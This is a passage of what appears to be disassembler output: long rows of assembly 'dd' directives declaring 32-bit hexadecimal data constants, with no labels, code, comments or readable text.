		dd 0CA6C5893h, 96399D4Fh, 0C9DD0337h, 24C66D99h, 0E6DF1FA5h
		dd 0DD0D6DCEh, 560B2AF1h, 1325DD04h, 0FDBE7907h, 0BC886BA8h
		dd 3DFDCAD8h, 0CCEE6D76h, 0A4ACC9BDh, 8901DB4Eh, 7C016F4Eh
		dd 3466746Ch, 8C8A6A19h, 9A342A6Bh, 0E41F69B6h,	0F1706C76h
		dd 71322F19h, 0EFDA6D2h, 999FDB1Eh, 0C2F67E49h,	8A0B521Bh
		dd 16E0310Ah, 561C6600h, 0B15FD5D7h, 34F41480h,	7D0B3128h
		dd 7D083B57h, 3DB91AFEh, 523404A6h, 52F67DC6h, 159A05C8h
		dd 1F356260h, 245F6259h, 0E860DFCFh, 4E025134h,	0FB7877AAh
		dd 61476077h, 0CD8F4459h, 9F01CC52h, 0EED1658Ch, 0A1CBB01Ah
		dd 0BC58DE2Ah, 76AE08CEh, 4EEBD969h, 0F3054F5Ah, 0E5268147h
		dd 14C69B2Fh, 0F434B07Bh, 0F6256341h, 0ED2DD9FDh, 0F638B672h
		dd 5649273Fh, 96A3D26Ah, 54E4723Ch, 37604D36h, 584DC0C1h
		dd 36E06B4Ch, 0DEEB1FA0h, 4A2A8791h, 18FA1C0Bh,	1D933758h
		dd 56812B5Fh, 0F878A259h, 0DAB6456Dh, 188E3087h, 33555F6Ah
		dd 2B8BD063h, 6B711D6Ah, 1D9293C5h, 0D650B142h,	2E939A10h
		dd 30CD842h, 5ED3E098h,	1EE37CB4h, 18CFE68h, 3FAB1E2Dh
		dd 2EA69800h, 8BABDF9Fh, 55A8548Fh, 0E6B1F534h,	62664328h
		dd 2323FA3Ah, 2F0898A4h, 0F0E55726h, 0E8FDA7B5h, 0EB9AFEC2h
		dd 34845235h, 1A687BEh,	0C8312C1Ah, 0DD6B9FDAh,	7E29A341h
		dd 0A23A39E6h, 30B1791Fh, 2A44B575h, 0C2EC580Ch, 77415144h
		dd 51E9F532h, 9C7CD7A0h, 0A40219D6h, 80B76F9Ah,	0F26A0165h
		dd 0BA4C8DEh, 0ED5F1838h, 0B429C6CBh, 5D0FA53Dh, 0D360898Fh
		dd 0D2D0BAABh, 0EAC53F2Dh, 9F6DB613h, 0CE5D685Fh, 47188F57h
		dd 807EE35Bh, 57525562h, 31ED0A07h, 4F8A0A4Ah, 265EDCBFh
		dd 69831326h, 0D93E56DCh, 374842D5h, 137DD6Ah, 13A08948h
		dd 0D9589063h, 0D56AACEh, 7F5E20D7h, 6937B240h,	0CEFC4F1h
		dd 0E0714389h, 0C7B11A44h, 0E47EE6B6h, 8D41FDE8h, 0F87463C0h
		dd 37AEC159h, 2DC9CAC7h, 0ADBB44F3h, 9683EEA9h,	18C3B386h
		dd 0F69EEA40h, 42D51F4Dh, 177BAFh, 542DAE0Ah, 573EEBB3h
		dd 2F55C2E7h, 0DFCD7148h, 0A45CDE9h, 8E29EAC8h,	0F230BA3Eh
		dd 0C9E0CBEh, 17BF1CD3h, 0BC0C4CFh, 0F0FED7D0h,	800C9EE7h
		dd 0A1E7A0D2h, 79CCDCE8h, 399B27F3h, 387C98FAh,	5E9E9FE5h
		dd 6DB7814Dh, 0ACDA155Eh, 87D590BBh, 7FFDE1B2h,	0BC0CE3Fh
		dd 7832BC5Ah, 6ADF43DCh, 130AFD7Ch, 0C036E987h,	0CB492911h
		dd 7D9EBCE3h, 85E44E3h,	8A0F1706h, 0ED13D34Eh, 7465A05h
		dd 45852596h, 0CF6DB7ECh
		dd 3A73FECDh, 8115D989h, 0B97A4E27h, 39856B56h,	0A02F21F7h
		dd 7EE4DA35h, 13FD48B8h, 561F3C01h, 0FFE66EE9h,	0E2B58DE7h
		dd 0D3F1C97h, 0F307BED4h, 0A843B3E1h, 84079BF6h, 3349A934h
		dd 0B1980EE7h, 9E07C0F0h, 67EE7A47h, 0EA6B8855h, 0C4A1B57Fh
		dd 0AA9EE664h, 85B923F9h, 143FCB44h, 476BD3Bh, 3F4593DFh
		dd 9E47221Ah, 0B590CA38h, 0F361D414h, 0C2DF0E3Fh, 0D5F994CCh
		dd 622CAB52h, 0E341CEC0h, 24EF46EBh, 69C6981Fh,	0F8E7300Ch
		dd 1017CB5h, 0ECBA680Fh, 7C764F7Eh, 0E8E49369h,	0F839F23Fh
		dd 473C5BB4h, 451864CEh, 1FDECDA1h, 0ECEC96B3h,	2B4DE816h
		dd 1AAEC0DDh, 988F7D55h, 54AFC64Fh, 3073DA89h, 868B9904h
		dd 91F126DFh, 704CB861h, 96851747h, 0CC58F5DFh,	0DDD85F88h
		dd 860F637Ch, 0A93F81E4h, 0B07983D8h, 5BDD64Dh,	0FF1274DFh
		dd 0D1BA9168h, 1790B85Eh, 0F329F6C1h, 62A0DA00h, 0E06F5B49h
		dd 6FD548BCh, 78B00F74h, 12BB3483h, 0A8FBA2ECh,	0CE34C777h
		dd 47BA45D3h, 0A4A036A7h, 0ABA2FE92h, 0C89E0766h, 68B1F18Bh
		dd 7BE0B12Eh, 987DBA10h, 8E79CBBCh, 0AD56CE53h,	70643B38h
		dd 0BEE893DCh, 0FF8A2DA1h, 42E947AFh, 0D49EAF9Bh, 62A4106Bh
		dd 96DE7360h, 3C8B4D4Eh, 0BAB87104h, 0FFA0ECCAh, 65DD299Bh
		dd 14D7A739h, 6BA9963Bh, 79E3F864h, 11F8773Fh, 0D0805566h
		dd 31656FB6h, 0BE3D02BFh, 930C9A9Fh, 3AB2B4CFh,	6C5921A7h
		dd 0A3802179h, 0F5D313A4h, 0C23B5843h, 0B9E7A421h, 966E909Ch
		dd 4ACA758Ah, 7D56315Fh, 18CF8165h, 39275F87h, 63205620h
		dd 58DCEC52h, 2B0615AEh, 9D7F9F52h, 2308EDE0h, 0B1750F96h
		dd 0A14E6D4Ch, 0BC76FF98h, 78D2234Fh, 95BE6163h, 0E376D338h
		dd 3A78163Dh, 4138B8EFh, 0B592B45Fh, 8473F8A9h,	2062FC7Bh
		dd 0DE3BAB5Fh, 0A58B3A67h, 0B5F2248Bh, 6625BD20h, 5B2F2Ch
		dd 0FC75B874h, 9439A5BAh, 6DB9326Ah, 0E266DB0Eh, 3052478Dh
		dd 73880BCh, 70A93FF9h,	0C447105h, 17499816h, 977DE7DFh
		dd 0AD1BED07h, 0B541D34Eh, 81DD2CEBh, 0D31C5FB2h, 0EB325BF1h
		dd 0B01980F2h, 134A490Fh, 9E896479h, 43DCFF41h,	6096267Ch
		dd 2A37B086h, 32EC533Bh, 0D17F113Bh, 719DD2E8h,	9514C0CCh
		dd 70A9BFE0h, 8E9385ABh, 82074CE2h, 1630F83h, 0F67A23DCh
		dd 7A8346FFh, 17AF7B60h, 0BB4EB3F2h, 415E89D2h,	45B12990h
		dd 9512EC81h, 4513F0F7h, 84A3DC92h, 59C7CD11h, 610D419Fh
		dd 0E44A3DD4h, 843798DDh, 0B9B8848Bh, 24EE0918h, 45EEF1Eh
		dd 0EBAC7E9Fh, 4970C1CAh, 0DE07B8Ch, 0B9B072EBh, 4BB2B1D1h
		dd 80514D6Bh, 79843D80h, 30B084CFh, 7657DCA9h, 46799C01h
		dd 5991967Ah, 572BB367h, 20364757h, 286C647Ch, 0D1AEA6B8h
		dd 0F3209AC1h, 0D394E28Bh, 31BA47CBh, 0AFF03D9Ah, 7D71B259h
		dd 6EF71170h, 58EA4224h, 198DBB97h, 38EDAD8Fh, 5655C29Fh
		dd 0B25A2779h, 0A33FABF1h, 1CB7895Fh, 1B85232Fh, 2203AA5Ch
		dd 59ACF7B7h, 9134EFD9h, 4DE16208h, 0F47FE32Bh,	0BE665328h
		dd 46116135h, 748AED6Ah, 0BF05B0BEh, 0FF24602Dh, 801E80EAh
		dd 773D700Dh, 0CE84089Bh, 1108E3BBh, 0DB852517h, 48E00514h
		dd 3517F75Ch, 40AFD834h, 698D42F6h, 0C4C75A65h,	0B28D01Fh
		dd 690AFAE2h, 0CF88542Ch, 774E41FCh, 801A0A0Bh,	22647C3Dh
		dd 43818D44h, 496566DEh, 55A8AC44h, 975490D8h, 915B3FFAh
		dd 3BBBCFA9h, 9895B05Ah, 454F9FB3h, 178FCF0Eh, 0A6561409h
		dd 27EE09D4h, 52AD5820h, 5AAE97A9h, 0F31FD958h,	475D7D9h
		dd 69F629DAh, 55CA3B9h,	46D8A321h, 51E71F73h, 26195715h
		dd 0DA45099Ah, 0F384B2C5h, 2BF65021h, 1EC74306h, 0FE0230A9h
		dd 9B3B70ACh, 0BDA2765Dh, 80F4BDD6h, 41FB8569h,	450D669Fh
		dd 58AEC6D6h, 0DC915AF6h, 0FD43A734h, 0DCA8D5A0h, 3EED86A7h
		dd 64845398h, 9882763Eh, 6770EFFh, 71C3432Ch, 3C800564h
		dd 0E9FA5841h, 6B878FF0h, 0D1FB9050h, 3F2AABC4h, 806A08BFh
		dd 80C4C40Ch, 18A90AA0h, 0BE5B23FFh, 592C64B6h,	396B7572h
		dd 0B70114DEh, 5A4031B2h, 26438C85h, 4B4EC6ECh,	97FF2CE3h
		dd 3945B616h, 0A3EB20FBh, 9EF6527h, 80189A1Fh, 5FB34509h
		dd 0ED662D9h, 548DF28h,	0A59B6431h, 580EE9B7h, 5D1D8074h
		dd 0BDCB3546h, 0F57FB5BBh, 304256AFh, 335D694Eh, 0FF76D045h
		dd 0A34F1BDFh, 95E440Eh, 0BA72914Ch, 0E2BFD8C1h, 0DDD90D39h
		dd 6220CCBBh, 0B552DBADh, 0A5C59070h, 61860F75h, 7679074Fh
		dd 0B36A96D4h, 0A390B322h, 0E61C9E32h, 0EB4130C3h, 3F074CB4h
		dd 73C59A26h, 0A10D14B6h, 16F61393h, 987A8232h,	1B292791h
		dd 9F00EE43h, 10EC8E8Eh, 94A581BDh, 25B54849h, 64B22047h
		dd 4A9048EFh, 7DB75C61h, 0E3C52DA0h, 9861E7EEh,	4473739Ch
		dd 8B94528Eh, 0CCF8C613h, 0E2B9C1F6h, 0A7281F40h, 2594B75Fh
		dd 2E56EF0Ah, 0EFDBBCFh, 80AB05DDh, 0B4CE0AC5h,	7950853Bh
		dd 0BA260AF0h, 66CC7B1h, 78D5F38Ah, 93895B51h, 2F8B3C9Dh
		dd 2189BF4Ah, 0A3361500h, 88583703h, 0BC1C700Fh, 0B905F14Ah
		dd 8FFBA691h, 30691245h, 0F64A9506h, 2F97AE3Bh,	5A609534h
		dd 5F704D11h, 7DA8C8F7h, 75C487C4h, 13849D3h, 9392FB9Ch
		dd 53CBE99Bh, 28204AC3h, 4B09328Ah, 90C28EB2h, 553CB1E0h
		dd 65F4EEEAh, 419C4E2Fh, 0F8E6F9CAh, 1C2605C2h,	0F8F1882Eh
		dd 0ECA3E4DCh, 8B57CC2Ch, 0BA71E58h, 0B76890A7h, 0E66B5F9Fh
		dd 4047E315h, 0A7D97CD0h, 8BC84991h, 5996B64Bh,	0D4D40989h
		dd 0C7395BD8h, 2EAB1B66h, 603A3677h, 0EAA2504Bh, 7B09BA67h
		dd 24EBF6DEh, 0FCA04F15h, 0B7A0C00Eh, 830D0F12h, 2E178529h
		dd 13E83042h, 16B6D746h, 8AF2F289h, 219C3Ch, 0DFB429C8h
		dd 0D02BF08Ch, 178E10ECh, 0FCFE4276h, 0EA739AE3h, 0E6465B5Bh
		dd 37A42515h, 55EB4F2Fh, 0F75058A4h, 0CA797544h, 0DD8F21DFh
		dd 0CC57230Bh, 0B4B4F29Fh, 0EBF87B90h, 89C67C33h, 0E4232128h
		dd 492BA431h, 7CD2DCDBh, 5A86C977h, 367D477Bh, 0E92C9DA1h
		dd 40E4833Dh, 6A14E9A5h, 0BBC65258h, 50FF6C46h,	420F3E50h
		dd 469104D4h, 4BA394D4h, 0F9104314h, 95E619B8h,	46A57FD5h
		dd 36E996CAh, 3661DCC5h, 65A468DAh, 77502745h, 0CB960791h
		dd 892C9BECh, 4956C192h, 0D40E71BAh, 0C49F79FAh, 0AA80CD50h
		dd 0E9E2B58Eh, 8D39C588h, 168D1938h, 7D57EAB7h,	0A1D156A4h
		dd 0B7612257h, 4335A343h, 5AC6BCF5h, 8FF8FE35h,	0F6EA345Fh
		dd 4624E024h, 0CA164739h, 5CC0BE3h, 8012C7F8h, 0B2C23B48h
		dd 0B481BA53h, 886B03E9h, 2EDEC225h, 0C9D147EDh, 4E92A25Dh
		dd 2FFF93B3h, 0B6D6C0D6h, 47C09DB7h, 6E1E09C0h,	0C3F2223h
		dd 0B32BAC3h, 0CAF35657h, 0B4DFEBA3h, 0E71BE221h, 607C4ADCh
		dd 4B49D120h, 3378D55Fh, 7304838Fh, 0BE6845BEh,	3E59A302h
		dd 8789707Bh, 0B03C6BBBh, 4CD0C12h, 286FFC60h, 2BCD390Dh
		dd 0F7FF1981h, 29840327h, 51C07A52h, 92B90FDEh,	0EA4DE21Bh
		dd 846F6FBEh, 3266B18Ch, 8553BDDCh, 1C17CE18h, 0FEE87B04h
		dd 0F46B4611h, 2C8C132Dh, 3141280Ch, 23C0C262h,	0BC930C3Ch
		dd 0C0F8325Ch, 8890D215h, 0B548CD1Ch, 3002530Ah, 7A6DEDCAh
		dd 902C0E16h, 6FD35B62h, 76CF620h, 1EBE389Eh, 0C09DEB7h
		dd 0A8D91CA9h, 6B7ADDCAh, 0AD4F16A1h, 6A7A2D74h, 0D18518FDh
		dd 1B499EB8h, 8FC901D0h, 2EADB6FFh, 0ADDE3E6Fh,	88765F66h
		dd 0F358C223h, 0EE69A281h
		dd 1EAB318h, 24BA8504h,	76847BF6h, 24F9ACB8h, 0C0183E3Ch
		dd 7AEC716Ah, 2817DEAEh, 1D38B100h, 2A4478F2h, 92359DD7h
		dd 0F259C01Eh, 0A3D20D9Fh, 0B9DB1B9Ah, 8E660900h, 0C6A1E827h
		dd 1F8D7E18h, 284412Fh,	1354755Eh, 46B190CEh, 85AD6172h
		dd 6C872803h, 2EF6441Ah, 2380CBA9h, 0CED1D419h,	250D6528h
		dd 0B8B1C3BDh, 68D087FDh, 1BBB6F6Ah, 3D1E8E5Eh,	0D3146979h
		dd 0EEABDB4Ch, 16263FA5h, 0B153742Bh, 0E448B604h, 0D8245083h
		dd 0E27FFCEFh, 1245D96Fh, 0E1CE483Fh, 0AA436148h, 3836B7DAh
		dd 740145B3h, 0C0A77F1Ah, 0E10574C4h, 3409CC2Eh, 0FDBE1453h
		dd 0C08FAAD8h, 0D3056402h, 228534D5h, 4CD9EB3Dh, 0DD694989h
		dd 718CAA4h, 0CFC5789Ah, 0DAF552FEh, 0FF1F0C45h, 4B3728F9h
		dd 428034DBh, 0F276C674h, 9482F802h, 0F3759F36h, 913D3E4Bh
		dd 0DFBE9D4Ah, 83D5B3AEh, 0D96A68E0h, 6A9C10FCh, 826CA794h
		dd 0DA108877h, 0F6B2CC49h, 379E3709h, 0EA28A088h, 6DDBA2D0h
		dd 9190FC90h, 0D1354F4Ch, 5794ABA4h, 99BEC4FCh,	3562BF5h
		dd 52F3E9C7h, 31B80A38h, 5321D36Fh, 3E0CE163h, 0B2561FE8h
		dd 0D6DF376Ch, 61A8A860h, 8E2524F1h, 1E31B6B5h,	11DF9397h
		dd 0E008D1C2h, 0EEA532DAh, 0E2191E80h, 64F39F37h, 0C2AFC867h
		dd 46BC84EBh, 0EF334432h, 62173AD7h, 5228E3C5h,	18B1E200h
		dd 0B417AA1Fh, 3F1448A8h, 0B30307F9h, 3A3114C7h, 0D9567C0Bh
		dd 16AEF4A0h, 4DDA961Ah, 2CA4C225h, 1F3FAE0h, 7C58AFADh
		dd 79E02347h, 86F80DDAh, 0CC3022F8h, 0A1E853BBh, 5EBAE5BCh
		dd 0C8F7AFF5h, 871F4531h, 1148B2FFh, 0E8A9DCF7h, 0F0FEAECh
		dd 2DF81515h, 0B8B88FD0h, 0E0E01EBCh, 7E0CB86Dh, 0B3C40DAh
		dd 0F1FF95CCh, 0FBBC6E66h, 8BB21069h, 0F262E4F7h, 0EEC4D801h
		dd 1646C249h, 0AEA1F812h, 0F4775551h, 3E96F7BCh, 5AB3A7BEh
		dd 609AFF0Eh, 0DA1E1A1Ch, 0EDD6C0BEh, 0DB7FE47Fh, 5FD8DF74h
		dd 6D54A24h, 0F679166Eh, 0CBD5C5FEh, 32A0F4C7h,	4003AFDAh
		dd 51CE2057h, 1F855F7Dh, 3342A7A8h, 0DD55C8A1h,	5E2A8D39h
		dd 0A4AC31AAh, 0F34F776Eh, 0ACC0E70h, 0F577775Eh, 0A1155F4Ch
		dd 220C8E82h, 10EB170Ch, 4B47D7F1h, 338EC637h, 41B137C5h
		dd 805A4E1Eh, 0FD95BE4Bh, 2162FD87h, 6EEEE623h,	432ECFFCh
		dd 2CD561CCh, 5C48E685h, 659577CBh, 0D29DD956h,	9815F69Ch
		dd 1729ED4Eh, 0E688C036h, 70AB02C4h, 24572F66h,	155F82ADh
		dd 5B5129E7h, 6CEF0A6Fh, 890F41B0h, 5857A299h, 800D310Bh
		dd 8260AF30h, 9AA144Fh,	0E0B56EEBh, 0F357B1B6h,	658F33BCh
		dd 7CF937E9h, 0C7822972h, 0C6AD2B12h, 9E162203h, 335534E3h
		dd 300F0453h, 0FE2D7142h, 90AF5BFAh, 0C3ED801Dh, 9B681E4h
		dd 0D0C9E8B5h, 48EAE9E7h, 7BF5BDFh, 17354C2Dh, 5955EE10h
		dd 0B26C19FBh, 9213F35Ah, 0DE05F601h, 6D5A159Bh, 43BCE2E0h
		dd 927DBE5Bh, 35EE5B1Eh, 203E3855h, 0F97ABC20h,	10A691E0h
		dd 0EEA4397Ch, 3A383791h, 1E54899Dh, 0C2356CB1h, 0B0F3B214h
		dd 0C1A82E19h, 75C3DFEEh, 8BAE796Dh, 0CA2FC86h,	41EA94A4h
		dd 0F1AEDE6Ah, 29999697h, 0C17D43B2h, 0FC93F961h, 56DE7C08h
		dd 51EDF08Dh, 4AE1817Ch, 0F67303E6h, 7D5F3962h,	0CB7E8865h
		dd 0E88F2B3Bh, 96639676h, 0BC27CD2h, 9CE72B85h,	3EBFEC51h
		dd 0A22A88E6h, 5ADD0226h, 4B1FFFD9h, 949DC5AEh,	49A502F4h
		dd 967C374Dh, 0B08C725Ah, 545B568Dh, 6712C8FBh,	0B4ACABA3h
		dd 421628F4h, 0BAFBEAEBh, 0DF5371D6h, 14258D81h, 7BBCCDF9h
		dd 2D13B8B5h, 0EC23E1F6h, 384C1974h, 84761D3Dh,	6375E466h
		dd 0F4B1B66Dh, 99049025h, 0C4A2B9C6h, 0AB812A82h, 0EC777512h
		dd 825240A2h, 4456E0A5h, 8CECF933h, 475AA4E8h, 67684084h
		dd 27469C0Fh, 36542879h, 2BD73A4Ch, 85EB7E6Eh, 0D7DE8CF1h
		dd 0B828505Dh, 0FDECF02Eh, 0FDAAE2EDh, 5F7B271Ah, 31A3EB6Fh
		dd 16A1DC58h, 903FA514h, 60AEBBBEh, 4AB31B56h, 2E5830B9h
		dd 30E8460Eh, 74DA092Bh, 0C474C635h, 3A4BC1D8h,	5B8109E5h
		dd 72DA95BFh, 0B944B8ACh, 644B218Eh, 83EB8DCAh,	0D842A509h
		dd 0DF2FE9Eh, 4EAD891h,	406BB43Ch, 0D5742C60h, 7029BA20h
		dd 0E31B07DBh, 102B97C2h, 0FD83BD35h, 0D07027FAh, 8ABD969Dh
		dd 0F639A6BCh, 0F365CDEFh, 48C93FF8h, 519C54A4h, 0DB38687Bh
		dd 48232BAAh, 8312CC80h, 50F8EDB9h, 82D7142Ch, 0C877D809h
		dd 9766D03Ah, 0C361AC81h, 0ADF61A78h, 69D8A9EDh, 0CBE3AC29h
		dd 0BBF1A0D1h, 70FCB2F7h, 4357FE32h, 878E2DF1h,	0A3081F99h
		dd 0D5D9CD10h, 722714CAh, 1DB94FD2h, 3468875Bh,	23AD64D8h
		dd 10473C5h, 119DBA18h,	1C415B3Bh, 7A53FA3Dh, 0F4CBA1A8h
		dd 426D94A9h, 88F53ED8h, 6D062B5Dh, 297A9E2Dh, 4208972Bh
		dd 7D365FEh, 0FAA61B7Ah, 75A5A1C6h, 0FAE338C9h,	0A6A2C713h
		dd 0E35BCBB7h, 0DBB2993Ch, 0D945CD67h, 9846715Eh, 7B15FD7Dh
		dd 75DC8DDBh, 721FCE75h, 29E9E151h, 0BC820490h,	0C3B6E7B2h
		dd 0B5C10579h, 0A9ABABD3h, 17968B25h, 0BD6B9AA6h, 7A2924Ah
		dd 4F77F39Eh, 0DD123293h, 6FEADB00h, 7AA10FEDh,	984FB80Ah
		dd 0E90CFA24h, 196497FFh, 8003657Dh, 81570F9Eh,	689E28E6h
		dd 8964A4C4h, 0B2076614h, 0B0C5D31Ah, 0E90D1F5Fh, 3CB88E92h
		dd 6931E66Bh, 39DAE495h, 3338F91Ch, 68D7B8E8h, 0F4C0270Ah
		dd 21816E4h, 3817FD63h,	0CEBEAB22h, 0A007001h, 9C16CD52h
		dd 2BDD11B6h, 45F7D506h, 0AD646D0h, 0BFACBC3Ah,	10F45B57h
		dd 5DD2451Ch, 0FB3479FBh, 0F5C8D279h, 9AFFAAC4h, 7AB77ABDh
		dd 5871870h, 76D9DB6Dh,	7B54E972h, 0F7C8B752h, 80B24C67h
		dd 95D49165h, 0E99CE14Ch, 0B8C02DDAh, 0B98CB336h, 11FF4B12h
		dd 0D17BD8FFh, 0E117AADAh, 43CCC6B4h, 0E337171Ch, 2C65BA96h
		dd 8C84F4h, 72109AD0h, 0A8BD7018h, 63FA8D5Ch, 0FAE3DF37h
		dd 1AE5E4C2h, 43C34366h, 0F49F3297h, 354D43CDh,	0D5DA1C53h
		dd 20C349CFh, 327E3855h, 0DE9E9858h, 82971F47h,	247654DEh
		dd 0A53E7266h, 4B2BD37Ah, 3AA34997h, 841E1634h,	783F4624h
		dd 6DD7621Eh, 5C894B35h, 0F3DB8BE6h, 76B62738h,	0DD438408h
		dd 2EB38546h, 9279B50Eh, 0E471B546h, 0F862228Eh, 0CB05E6CFh
		dd 3B0A29D0h, 26E8CE22h, 0A2278A86h, 5AABE54h, 5F7B91DAh
		dd 89641092h, 7BEB7B5Dh, 541FC204h, 0B2344DD1h,	76539A98h
		dd 0C7DFEE1Dh, 9574F54Eh, 0B44942E3h, 782F0BA5h, 0C6C77387h
		dd 23194685h, 7351ACA8h, 2AECDABBh, 266B619Fh, 0CE136E40h
		dd 0D61D0063h, 0BE443221h, 0E591A159h, 0B8088A22h, 56EB30A9h
		dd 39C51F2Bh, 0E62439D4h, 58EC193Fh, 5868D4EBh,	0D7EFFF14h
		dd 0B00303E7h, 592106E8h, 0F43AA805h, 3BB4F3B3h, 0A510FFCCh
		dd 969B219Ah, 7F4F8F00h, 358AC25Fh, 467CD15Ah, 13A13012h
		dd 0BBBBBF24h, 0F352BFD8h, 151995D1h, 0E8C0BEE2h, 0BA40366Ah
		dd 0DC8D18E1h, 3C44530Fh, 0BCE9E624h, 2B29AC2Dh, 3245D759h
		dd 716A6591h, 284402FBh, 0A5294FDCh, 0C025AA97h, 16E022B1h
		dd 33B8AC1Bh, 0FD594691h, 3D3C612Ah, 0F8091FE2h, 8E4762F6h
		dd 0C1008368h, 71A5007h, 47CEACCDh, 3862933Dh, 85AFABE9h
		dd 0C3622782h, 3CA9A189h, 0E0219E44h, 0C3A0C011h, 0B9E4DE7Ah
		dd 74A7492h, 0C9B99B23h, 9D58FFE0h, 0BCB9825Dh,	0AD3BA259h
		dd 3E12E66Fh, 4281535h,	2092F2B8h, 0CE9C174h, 0B42078DCh
		dd 4CE568ABh, 0B7113AA3h
		dd 8AF450DDh, 0DBF065C0h, 599EF6F2h, 2FCDD478h,	0A4D66371h
		dd 7BE9921Ah, 9DE73F93h, 0E74FC3A0h, 4E07928Dh,	345EC49Dh
		dd 2E7B2390h, 6016E5Dh,	0B9510135h, 77DDB914h, 7DF67523h
		dd 4D07CDC5h, 0C2969B26h, 261C0C65h, 0D24A00D0h, 0D96EF8FFh
		dd 0B8C336CFh, 25FA16AFh, 2BF4DD7Ah, 3E696E8Ch,	7D8D5F60h
		dd 6E3257D5h, 0F70ED755h, 378DA3BDh, 2D812770h,	57B3E9A2h
		dd 33B22FC0h, 6FF806C5h, 9AF0A673h, 0F7417F1Dh,	0BC398760h
		dd 7347FB25h, 88C48A79h, 0A03838DDh, 38E92B6Fh,	0A300D179h
		dd 0D127D92Dh, 9A531E0Dh, 0BA3B475Bh, 9343015Ah, 94F39E00h
		dd 0DA65E2A7h, 0DBCB5649h, 82E68C81h, 32E9909Ch, 8EB13349h
		dd 3F3350DCh, 420FE53Fh, 0F6D58CECh, 71D4F989h,	0F75AB60Eh
		dd 0C5405085h, 0AE5C64B8h, 861887DFh, 75EDCF67h, 3585F457h
		dd 0E549AF53h, 9835457Ch, 92654A08h, 0AE712B0Ch, 742E32Dh
		dd 78E99458h, 9DB81A91h, 3C0D103h, 8C2AFBF4h, 6C0FB966h
		dd 0E062BD6Ah, 0D1B22DD7h, 0CF21EFFEh, 9F8079BBh, 498C70D5h
		dd 3B921011h, 3D8D8A23h, 0EAF90BBEh, 66FFE5E2h,	0BCE2ECD5h
		dd 0A6DBD0F4h, 7139FBFCh, 0EC0E02Fh, 2E02A83Ah,	0D9F24ABFh
		dd 0E4B60EF2h, 0F2F4E49Dh, 0E3FA14Dh, 6E522105h, 847CC54Ch
		dd 839A1156h, 0D20AE4D9h, 0C3CF17D5h, 0F4A1E226h, 0EEA1E9C1h
		dd 71E68C0Dh, 29A3DCFDh, 22FCB429h, 6289CA2Ah, 4FD85339h
		dd 0FEE72913h, 0F52AE4B7h, 5E616F4Ch, 0CBED745Bh, 6C75B159h
		dd 538A5BE8h, 2EB5A13Fh, 0AF711709h, 0D6C60F6Ch, 7DA3299Ah
		dd 19B69A29h, 0D9284584h, 95A507BAh, 0A4B6EC72h, 0FF4D4C25h
		dd 6BE0DAE2h, 986330E5h, 0E450F258h, 5A0145Fh, 9D1880EAh
		dd 0F3C2FB01h, 19C5E221h, 3EEFEF95h, 9E2FBF3Fh,	0BAEB7928h
		dd 72C0C5B9h, 0A76F2008h, 2F8352B0h, 0FE0AE81Dh, 21BA76B2h
		dd 2F949168h, 2774E3Ch,	8135638Dh, 0DE715BB0h, 3EC96374h
		dd 4C91FEB9h, 279A0628h, 0F6B62842h, 3140A435h,	0A2DB8AF7h
		dd 8B8D356Fh, 86570040h, 0F3DFF0EAh, 52172612h,	4C240F8Eh
		dd 0DD417CCEh, 3C26BDEFh, 733DFAAh, 9493AEA0h, 35F710ABh
		dd 779A47CFh, 0F8322C23h, 42EC8463h, 0AEC9252h,	578FF808h
		dd 94153D0Fh, 0A31B1373h, 1897FF15h, 4D603217h,	0F14C4642h
		dd 218ACDF3h, 65F64CEDh, 0EF24A34Eh, 14155C45h,	929DA4D3h
		dd 0F532503Dh, 0FC16C160h, 8A6C173Dh, 7F4B352Ch, 481DB151h
		dd 6D650515h, 3462E85Eh, 6DD71215h, 9B0A4A02h, 0A009A225h
		dd 28525C0h, 1E5F99A1h,	0DA4C1886h, 449DEFD0h, 4841850h
		dd 0A5F39BD6h, 0F835C81Ah, 0A1B9E9D0h, 31BFE8D9h, 942A748Ah
		dd 9E9F2298h, 0CC167406h, 0C0DD89B7h, 39D3CB7Fh, 4C4ACF33h
		dd 8AD70B41h, 391A392h,	642EE2D1h, 0AA817A42h, 35AF5990h
		dd 53289F7Fh, 840D03C3h, 0E58F5ABCh, 49192320h,	0EAA50E1h
		dd 748EBBAEh, 878DC468h, 674B34Ah, 43EEA0D0h, 163FE3Bh
		dd 3634AF74h, 37E2464Dh, 9CD3739h, 323C250Fh, 0FE9A0C55h
		dd 0E098985Dh, 4CDA6DF7h, 0F6904EEFh, 72E21273h, 6D590FBCh
		dd 9B367C2Fh, 0F35F0E28h, 14C612Bh, 0FCA4A64h, 0A77BCA35h
		dd 3E9B8200h, 0F40924D0h, 54DB095Eh, 62FB6EA8h,	0ED86A557h
		dd 0D09FA75Eh, 0D8ABF3F8h, 795528C2h, 1FABEF4Bh, 2E9763Fh
		dd 2DC74585h, 2FACBF8h,	0FAE60EC1h, 0B585D4B2h,	0D090928Eh
		dd 245E7131h, 56363F05h, 825D81F1h, 2A03FEEBh, 6B3A502Eh
		dd 6A58FF2Fh, 8E597D02h, 0E83ACC9h, 32E55C3Ah, 7EE93E9Bh
		dd 1FC2009h, 38AF6B0Fh,	0F9FB605Bh, 0F60E614Eh,	0D7C8D5AEh
		dd 0FC03A242h, 5AA4165Ah, 0DC43501Eh, 24302F42h, 0BF607B2Eh
		dd 1984086Dh, 0F28022A7h, 4FCFF58Bh, 1442DB83h,	0A82CF734h
		dd 859647B6h, 0E17FBB2Dh, 0EE695B58h, 0A6C9BE35h, 78248972h
		dd 642757D7h, 0A6D22771h, 0C30D22CFh, 22FD2210h, 60A2CBF8h
		dd 1A655715h, 1BF25C4Eh, 57881B10h, 4FA24EE7h, 985747FFh
		dd 6FDBC08h, 8CE22C1Dh,	0E0445AF0h, 87546C16h, 31777DA0h
		dd 3A406F69h, 2DB5F875h, 0B4289E66h, 8486CC2Bh,	0F819802Ch
		dd 0E23B1E45h, 103736D7h, 2299AB00h, 4E69E3A3h,	0D0CB6551h
		dd 0CE262C04h, 0CAC4081Ah, 0BE80DDEBh, 0B3938C4Dh, 408D00C6h
		dd 6FC9723Bh, 778C54AFh, 0BAC5C8B7h, 0DEC80DEEh, 0E1DC1FB0h
		dd 89724D4Eh, 2D6217CFh, 2D111E79h, 5E7166F5h, 31624CA7h
		dd 389236Ah, 0B907E20Dh, 0BB3279C4h, 0FB3FFFE2h, 818B1785h
		dd 9187E7Dh, 6B78DC8Ch,	4B429FA0h, 0F5B994EFh, 0D3418A78h
		dd 9158580Ch, 3F3BE9FCh, 606AE80Eh, 0B75240F2h,	0FD010010h
